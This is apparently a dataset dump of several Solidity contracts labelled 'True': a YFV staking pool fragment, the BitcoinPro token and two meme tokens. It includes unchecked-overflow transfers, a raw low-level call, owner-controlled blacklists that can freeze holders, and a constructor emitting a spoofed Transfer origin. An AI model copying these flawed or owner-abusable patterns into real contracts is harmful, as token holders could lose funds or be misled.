.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
uint256 calculatedEarned = balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
uint256 poolBalance = yfv.balanceOf(address(this));
// some rare case the reward can be slightly bigger than real number, we need to check against how much we have left in pool
if (calculatedEarned > poolBalance) return poolBalance;
return calculatedEarned;
}
function stakingPower(address account) public view returns (uint256) {
return accumulatedStakingPower[account].add(earned(account));
}
function vUSDBalance(address account) public view returns (uint256) {
return earned(account).div(vUSD_REWARD_FRACTION_RATE);
}
function vETHBalance(address account) public view returns (uint256) {
return stakingPower(account).div(vETH_REWARD_FRACTION_RATE);
}
function claimVETHReward() public {
require(rewardRate == 0, "vETH could be claimed only after the pool ends.");
uint256 claimAmount = vETHBalance(msg.sender);
require(claimAmount > 0, "You have no vETH to claim");
require(!claimedVETHRewards[msg.sender], "You have claimed all pending vETH.");
claimedVETHRewards[msg.sender] = true;
vETH.safeTransfer(msg.sender, claimAmount);
}
function setRewardStake(address _rewardStake) external onlyOwner {
rewardStake = _rewardStake;
yfv.approve(rewardStake, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
}
function stake(uint256 amount, address referrer) public updateReward(msg.sender) checkNextEpoch checkStart {
require(amount > 0, "Cannot stake 0");
require(referrer != msg.sender, "You cannot refer yourself.");
super.tokenStake(amount);
emit Staked(msg.sender, amount);
if (rewardReferral != address(0) && referrer != address(0)) {
IYFVReferral(rewardReferral).setReferrer(msg.sender, referrer);
}
}
function stakeReward() public updateReward(msg.sender) checkNextEpoch checkStart {
require(rewardStake != address(0), "Dont know the staking pool");
uint256 reward = getReward();
yfv.safeTransferFrom(msg.sender, address(this), reward);
require(reward > 1, "Earned too little");
IYFVStake(rewardStake).stakeOnBehalf(msg.sender, reward);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkNextEpoch checkStart {
require(amount > 0, "Cannot withdraw 0");
super.tokenWithdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkNextEpoch checkStart returns (uint256) {
uint256 reward = earned(msg.sender);
if (reward > 1) {
accumulatedStakingPower[msg.sender] = accumulatedStakingPower[msg.sender].add(rewards[msg.sender]);
rewards[msg.sender] = 0;
uint256 actualPaid = reward.mul(100 - REFERRAL_COMMISSION_PERCENT).div(100); // 99%
uint256 commission = reward - actualPaid; // 1%
yfv.safeTransfer(msg.sender, actualPaid);
emit RewardPaid(msg.sender, actualPaid);
address referrer = address(0);
if (rewardReferral != address(0)) {
referrer = IYFVReferral(rewardReferral).getReferrer(msg.sender);
}
if (referrer != address(0)) { // send commission to referrer
yfv.safeTransfer(referrer, commission);
emit RewardPaid(msg.sender, commission);
} else {// or burn
yfv.burn(commission);
emit Burned(commission);
}
vUSD.safeTransfer(msg.sender, reward.div(vUSD_REWARD_FRACTION_RATE));
return actualPaid;
}
return 0;
}
function nextRewardMultiplier() public view returns (uint16) {
if (rewardVote != address(0)) {
uint16 votingValue = IYFVVote(rewardVote).averageVotingValue(address(this), periodFinish);
if (votingValue > 0) return votingValue;
}
return 100;
}
modifier checkNextEpoch() {
if (block.timestamp >= periodFinish) {
uint16 rewardMultiplier = nextRewardMultiplier(); // 50% -> 200% (by vote)
currentEpochReward = EPOCH_REWARD.mul(rewardMultiplier).div(100); // x0.50 -> x2.00 (by vote)
if (totalAccumulatedReward.add(currentEpochReward) > TOTAL_REWARD) {
currentEpochReward = TOTAL_REWARD.sub(totalAccumulatedReward); // limit total reward
}
if (currentEpochReward > 0) {
yfv.mint(address(this), currentEpochReward);
vUSD.mint(address(this), currentEpochReward.div(vUSD_REWARD_FRACTION_RATE));
vETH.mint(address(this), currentEpochReward.div(vETH_REWARD_FRACTION_RATE));
totalAccumulatedReward = totalAccumulatedReward.add(currentEpochReward);
currentEpoch++;
}
rewardRate = currentEpochReward.div(DURATION);
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(currentEpochReward);
}
_;
}
modifier checkStart() {
require(block.timestamp > starttime, "not start");
_;
}
function notifyRewardAmount(uint256 reward) external onlyOwner updateReward(address(0)) {
require(periodFinish == 0, "Only can call once to start staking");
currentEpochReward = reward;
if (totalAccumulatedReward.add(currentEpochReward) > TOTAL_REWARD) {
currentEpochReward = TOTAL_REWARD.sub(totalAccumulatedReward); // limit total reward
}
rewardRate = currentEpochReward.div(DURATION);
yfv.mint(address(this), currentEpochReward);
vUSD.mint(address(this), currentEpochReward.div(vUSD_REWARD_FRACTION_RATE));
vETH.mint(address(this), currentEpochReward.div(vETH_REWARD_FRACTION_RATE));
totalAccumulatedReward = totalAccumulatedReward.add(currentEpochReward);
currentEpoch++;
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(currentEpochReward);
}
} | True | [
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|
pragma solidity ^0.4.24;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract BitcoinPro is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
// This is a constructor function
// which means the following function name has to match the contract name declared above
function BitcoinPro() {
balances[msg.sender] = 30000000000000000000000000000;
totalSupply = 30000000000000000000000000000;
name = "BitcoinPro";
decimals = 18;
symbol = "BTCP";
unitsOneEthCanBuy = 10000000;
fundsWallet = msg.sender;
}
function() public payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | True | [
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/**
//SPDX-License-Identifier: UNLICENSED
Telegram: https://t.me/princessazulaETH
Twitter: https://twitter.com/azulaETH
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AZULA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 11;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "PrincessAzula";
string private constant _symbol = "AZULA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 30_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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|
/**
//SPDX-License-Identifier: UNLICENSED
Telegram: t.me/humilitycoinerc20
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract humilitycoin is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Humility Coin";
string private constant _symbol = "HUMBLE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xBBA6a19b2517b29e6cA737D3B0bE6327D23f6C7c);
_feeAddrWallet2 = payable(0xBBA6a19b2517b29e6cA737D3B0bE6327D23f6C7c);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x43F9fecbE5d7fbd5a45F99B310e40C09d13B1605), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 8800000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
